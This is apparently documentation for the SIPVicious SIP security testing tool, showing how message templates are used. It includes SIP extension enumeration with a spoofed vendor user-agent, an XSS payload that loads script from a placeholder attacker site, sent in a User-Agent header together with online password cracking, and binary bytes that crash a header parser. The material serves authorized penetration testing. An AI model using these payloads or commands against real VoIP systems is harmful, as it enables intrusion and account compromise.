Template examples

Here you will find a few complete examples showing where templates are very effective and how to make use of this feature.

Setting a custom user-agent header

It is common for vendors of proprietary solution to check the user-agent SIP header and behave differently when it contains a specific value. For example, a particular well-known vendor was found to respond differently to REGISTER requests when the user-agent header value was set to their mobile application’s user agent string. Specifically, it would respond with a 404 for unknown extensions when this particular header was set but would otherwise not exhibit such behaviour. This means that by setting this header, attackers can make use of typical SIP extensions enumeration attack to identify SIP extensions that exist on the target system.

So first, one would get a copy of the REGISTER request template file by running the following command:

sipvicious sip utils templates dump --templateid registerrequest

Then the template would be edited to include the header, for example, resulting in the following contents:

REGISTER {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} REGISTER
Contact: {{.ContactVal}}
Expires: {{.Expires}}
Content-Length: 0
User-agent: Vendor Mobile App
{{/* this line must end with a newline */}}

After that, the tester could run the SIP enumeration attack tool from within the same directory containing the registerrequest.tpl file normally:

sipvicious sip enumerate extensions udp://target:5060

The resulting SIP messages would look similar to the following:

REGISTER sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-XVxcnOf6DzAWgMEU
Max-Forwards: 70
From: <sip:PFWARpnq@127.0.0.1>;tag=Jr663iflz8IDBfui
To: <sip:PFWARpnq@127.0.0.1>
Call-ID: 6uc8d5iz3jJWpb0f
CSeq: 1 REGISTER
Contact: <sip:PFWARpnq@127.0.0.1:10011;transport=tcp>
Expires: 600
Content-Length: 0
User-Agent: Vendor Mobile App

Cross-site scripting injected through SIP

A common vulnerability example is that of displaying parts of the SIP message in a web interface without taking care of cross-site scripting or HTML injection. This is a security issue commonly found when displaying call detail records (CDR) or showing user-agents that have been blocked due to blacklisting as a security mechanism. In our example, the vulnerable web application is displaying the user-agent string of potential attackers that have been blocked without properly encoding for HTML display. This vulnerability could be easily demonstrated by making use of templates together with the SIP online password cracking tool.

First, one would create the registerrequest.tpl file with the following contents:

REGISTER {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} REGISTER
Contact: {{.ContactVal}}
Expires: {{.Expires}}
Content-Length: 0
User-Agent: <script src=//attackersite></script>
{{/* this line must end with a newline */}}

Then to demonstrate the attack, the user would make use of the following command, within the directory where the template file is to be found:

sipvicious sip crack online udp://target:5060

The resulting SIP messages would look similar to the following:

REGISTER sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-Z9205ly8NHkG2LKc
Max-Forwards: 70
From: <sip:dRDupD8p@127.0.0.1>;tag=Pjl1mlHc2uCme7qh
To: <sip:dRDupD8p@127.0.0.1>
Call-ID: n025Ao095V3dtewM
CSeq: 1 REGISTER
Contact: <sip:dRDupD8p@127.0.0.1:10011;transport=tcp>
Expires: 600
Content-Length: 0
User-Agent: <script src=//attackersite></script>

Sending binary data in the SIP message

Let’s say you found a vulnerability that requires non-printable characters to be supplied in a SIP message so that it can be reproduced. How do you do this with the templates?

In the following example, the vulnerability might lie when parsing a particular header value, say a header with name X-crashme and requires the character sequence 0x01020304 to be reproduced. In this case, one could create a file called optionsrequest.tpl with the following contents:

OPTIONS {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} OPTIONS
Contact: {{.ContactVal}}
Accept: application/sdp
Content-Length: 0
X-crashme: {{ "\x01\x02\x03\x04"}}
{{/* this line must end with a newline */}}

The resulting SIP messages would look similar to the following:

OPTIONS sip:127.0.0.1 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:10011;rport;branch=z9hG4bK-t7iN6FLtIXUh5XV7
Max-Forwards: 70
From: <sip:hCSwUoi9@127.0.0.1>;tag=JBV2xEFyIddsuNnl
To: <sip:hCSwUoi9@127.0.0.1>
Call-ID: 1MB0X7lRSHq4U9xn
CSeq: 1 OPTIONS
Contact: <sip:hCSwUoi9@127.0.0.1:10011;transport=tcp>
Accept: application/sdp
Content-Length: 0
X-crashme: 
Expires: 600

The value of the X-crashme header would contain the following binary characters: \x01\x02\x03\x04 which can be observed when inspecting the network traffic. The following is a hex dump of the interesting lines:

000001c0  74 65 6e 74 2d 4c 65 6e  67 74 68 3a 20 30 0d 0a  |tent-Length: 0..|
000001d0  58 2d 63 72 61 73 68 6d  65 3a 20 01 02 03 04 0d  |X-crashme: .....|
000001e0  0a 45 78 70 69 72 65 73  3a 20 36 30 30 0d 0a 0d  |.Expires: 600...|